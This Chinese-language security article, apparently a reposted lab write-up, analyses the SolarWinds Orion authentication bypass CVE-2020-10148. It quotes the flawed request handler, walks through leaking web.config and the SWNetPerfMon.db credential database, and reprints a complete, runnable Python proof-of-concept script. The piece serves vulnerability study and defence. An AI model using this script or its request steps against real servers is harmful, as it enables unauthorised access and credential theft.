FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)
?聚焦源代碼安全,網(wǎng)羅國內(nèi)外最新資訊!
前言
最近,全球領先的網(wǎng)絡安全公司 FireEye 疑遭某 APT 組織的攻擊,其大量政府客戶信息遭越權訪問,且紅隊工具被盜。雖然目前尚不清楚這些紅隊工具將被如何處置,但FireEye 公司在 GitHub 上發(fā)布了一些應對措施。奇安信代碼安全實驗室將從技術角度,對 GitHub 倉庫中的相關漏洞進行分析復現(xiàn),希望能給讀者帶來一些啟發(fā),做好防御措施。
漏洞簡介
SolarWinds Orion平臺是一套負責系統(tǒng)監(jiān)視和產(chǎn)品管理的基礎架構,其中的SolarWinds Orion API主要負責SolarWinds Orion平臺產(chǎn)品間的交互工作。
SolarWinds Orion 2020.2.1HF2、2019.4HF6之前的版本產(chǎn)品存在遠程代碼執(zhí)行漏洞。具體來說,攻擊者在訪問鏈接中構造參數(shù)“.js”、“.css”等以便繞過權限驗證,最終任意調(diào)用Orion API達到代碼執(zhí)行的目的。
受影響產(chǎn)品
SolarWinds Orion平臺系列產(chǎn)品
受影響版本
Orion Version<2020.2.1HF2
Orion Version<2019.4HF6
修復版本
2019.4 HF 6
2020.2.1 HF 2
2019.2 SUPERNOVA補丁
2018.4 SUPERNOVA補丁
2018.2 SUPERNOVA補丁
漏洞分析
分析SolarWinds Orion的URL請求驗證代碼,如下。
private static void OnRequest(object sender, EventArgs e){HttpApplication httpApplication = (HttpApplication)sender;HttpContext context = httpApplication.Context;string path = context.Request.Path;# 如果請求的資源包含關鍵詞“Skipi18n”,則會跳過用戶權限驗證限制,新建一個空用戶if (path.IndexOf("Skipi18n", StringComparison.OrdinalIgnoreCase) >= 0){if (context.User == null || !context.User.Identity.IsAuthenticated){context.SkipAuthorization = true;context.User = new NullUser();}return;}# 如果請求的資源以".css"或“.js”結尾,則會跳過用戶權限驗證限制,新建一個空用戶,并重定向到新頁面if (path.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || path.EndsWith(".js", StringComparison.OrdinalIgnoreCase)){if (context.User == null || !context.User.Identity.IsAuthenticated){context.SkipAuthorization = true;context.User = new NullUser();}LocalizerHttpHandler.RedirectToMe(context, context.Request.Path);return;}# 如果請求的資源以".i18n.ashx”結尾,則會跳過用戶權限驗證限制,繼續(xù)執(zhí)行程序if (!path.EndsWith(".i18n.ashx")){return;}string revisedFile = path.Substring(0, path.Length - ".i18n.ashx".Length);string path2 = i18nRedirector.RebuildPath(context.Request.QueryString, revisedFile);context.RewritePath(path2);}private static string RebuildPath(NameValueCollection nvc, string revisedFile){return "/Orion/i18n.ashx?file=" + revisedFile + "&" + string.Join("&", (from x in nvc.AllKeyswhere x != "file"select x into keyselect string.Format("{0}={1}", HttpUtility.UrlEncode(key), HttpUtility.UrlEncode(nvc[key]))).ToArray<string>());}分析可知,在對URL請求的驗證方法?OnRequest?中,首先判別URL是否包含關鍵詞“Skipi18n”:如是,則會跳過用戶權限驗證限制,并創(chuàng)建一個新用戶,包含此關鍵詞的數(shù)據(jù)包響應頭信息如下。
如上述判別結果不成立,則會繼續(xù)判別URL中是否包含關鍵詞“.css”或“.js”:如是,則跳過用戶權限驗證限制,創(chuàng)建一個新用戶,并重定向到新頁面,包含關鍵詞 “.css”、“.js”的數(shù)據(jù)包響應頭信息分別如下。
據(jù)圖可知,響應信息中“Location”字段說明跳轉(zhuǎn)的鏈接信息。因此,修改“Location”鏈接中“*.js”或“*.css”為指定目標,則會控制程序訪問指定目標內(nèi)容。
如上述判決結果不成立,則程序會繼續(xù)判別URL是否包含“.i18n.ashx”,如是,則根據(jù)URL字段信息訪問指定目標內(nèi)容。可知,前述“Location”字段的鏈接信息符合此要求,我們可在它基礎上構造URL控制程序訪問目標文件內(nèi)容,例如Web.config、數(shù)據(jù)庫文件內(nèi)容。
漏洞利用
我們尋找確定存在缺陷的目標服務器后,發(fā)送包含“.js”關鍵詞的請求http://xxx/xxx.js,在響應包中獲得“Location”信息,如下。
在“Location”中鏈接 /xxx.js.i18n.ashx?l=en-us&v=43320,60 的基礎上,修改 xxx.js 為目標文件,將其作為新的請求鏈接。
獲得目標服務器的?web.config?文件,便于分析網(wǎng)站配置信息,鏈接及響應內(nèi)容如下。
據(jù)圖可知,我們已成功獲取到系統(tǒng)配置信息。
獲得目標服務器的 SWNetPerfMon.db 文件,便于分析數(shù)據(jù)庫信息,鏈接和響應內(nèi)容如下。
據(jù)圖可知,我們已成功獲取到系統(tǒng)的數(shù)據(jù)庫賬戶等信息。
完整的POC腳本如下。
#/usr/local/bin/python3import requestsimport sysif len(sys.argv) < 2:print ("[*] Usage : CVE-2020-10148.py http(s)://target")exit(-1)if not(sys.argv[1].startswith("http://")):if not(sys.argv[1].startswith("https://")):print("[-] target starts either with http:// or https://")exit(-1)print ("[*] Trying to leak valid file version")target = sys.argv[1]# appending .js to always invalid file# we don't verify because of self-signed instances# not really required but doesn't hurt either.leakVersion = requests.get(target+"/Orion/invalid.aspx.js" ,verify=False)if(leakVersion.headers["location"]):print("[+] Got location header")index = leakVersion.headers["location"].index(".i18n.ashx")leakedVersion = (leakVersion.headers["location"][index:])if (leakedVersion.__contains__("v=")):print ("[+] Version seems valid")else:print("[-] Invalid version")exit(-1)else:print("[-] Can't get a valid version")exit(-1)print("[*] Trying to leak web.config file ")print(target+"/web.config"+leakedVersion)leakedConfig = requests.get(target+"/web.config"+leakedVersion, verify=False)print(leakedConfig.status_code)print(len(leakedConfig.text))if (leakedConfig.status_code == 200) and len(leakedConfig.text) > 1 :print("[+] Target is vulnerable Got the web.config file ")# outputFile = target.replace("https://","").replace("http://","")+"_web.config"# configFile = open(outputFile,"w")# configFile.write(leakedConfig.text)# configFile.close()# print("[+] web.config written to : " + outputFile )else:print("[-] Failed to download web.config target is not vulnerable")exit(-1)print("[*] Trying to leak SWNetPerfMon.db file (works only on older versions of orion) ")# https://support.solarwinds.com/SuccessCenter/s/article/Passwords-that-Orion-stores-locally-on-the-server?language=en_US# C:\inetpub\SolarWinds\SWNetPerfMon.db# C:\Program Files (x86)\SolarWinds\Orion\SWNetPerfMon.dbleakedDB = requests.get(target+"/SWNetPerfMon.db"+leakedVersion, verify=False)print(target+"/SWNetPerfMon.db"+leakedVersion)print(leakedDB.status_code)print(len(leakedDB.text))if (leakedDB.status_code == 200) and len(leakedDB.text) > 1:print("[+] Target is vulnerable Got the SWNetPerfMon.db file ")# outputFile = target.replace("https://","").replace("http://","")+"_SWNetPerfMon.db"# configFile = open(outputFile,"w")# configFile.write(leakedDB.text)# configFile.close()# # encrypted ? https://www.atredis.com/blog/2018/10/24/fun-with-the-solarwinds-orion-platform# print("[+] SWNetPerfMon.db written to : " + outputFile )else:print("[-] Failed to download SWNetPerfMon.db target is on newer version")exit(-1)總結
本文分析SolarWinds Orion平臺的遠程代碼執(zhí)行漏洞,在漏洞利用過程中繞過權限驗證獲取系統(tǒng)關鍵信息;學習人員應注意提升代碼分析和POC編寫能力。
參考文獻
Stargazers · CVE-2020-10148.py
https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965/stargazers
SolarWinds Orion遠程代碼執(zhí)行漏洞風險通告(CVE-2020-10148)-軟件逆向-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com
https://bbs.pediy.com/thread-264770.htm
推薦閱讀
FireEye 紅隊失竊工具大揭秘之:分析復現(xiàn) Zoho 任意文件上傳漏洞(CVE-2020-8394)
FireEye紅隊失竊工具大揭秘之:分析復現(xiàn)Zoho ManageEngine RCE (CVE-2020-10189)
FireEye 紅隊失竊工具大揭秘之:分析復現(xiàn) Confluence路徑穿越漏洞 (CVE-2019-3398)
FireEye 紅隊失竊工具大揭秘之:分析復現(xiàn) Atlassian RCE (CVE-2019-11580)
FireEye事件新動態(tài):APT 攻擊 SolarWinds 全球供應鏈(詳解)
請君入甕:火眼自稱遭某 APT 國家黑客組織攻擊
企業(yè)軟件開發(fā)商 Atlassian 緊急修復不慎泄露的0day,IBM Aspera 軟件或受影響
Apache Commons Collections反序列化漏洞分析與復現(xiàn)
題圖:Pixabay License
轉(zhuǎn)載請注明“轉(zhuǎn)自奇安信代碼衛(wèi)士 https://codesafe.qianxin.com”。
奇安信代碼衛(wèi)士 (codesafe)
國內(nèi)首個專注于軟件開發(fā)安全的
產(chǎn)品線。
? ??覺得不錯,就點個?“在看” 或 "贊” 吧~
總結
以上是生活随笔為你收集整理的FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: XFTP无法传输_xftp软件,比xft
- 下一篇: 为什么 CCSP 认证的价值如此之高?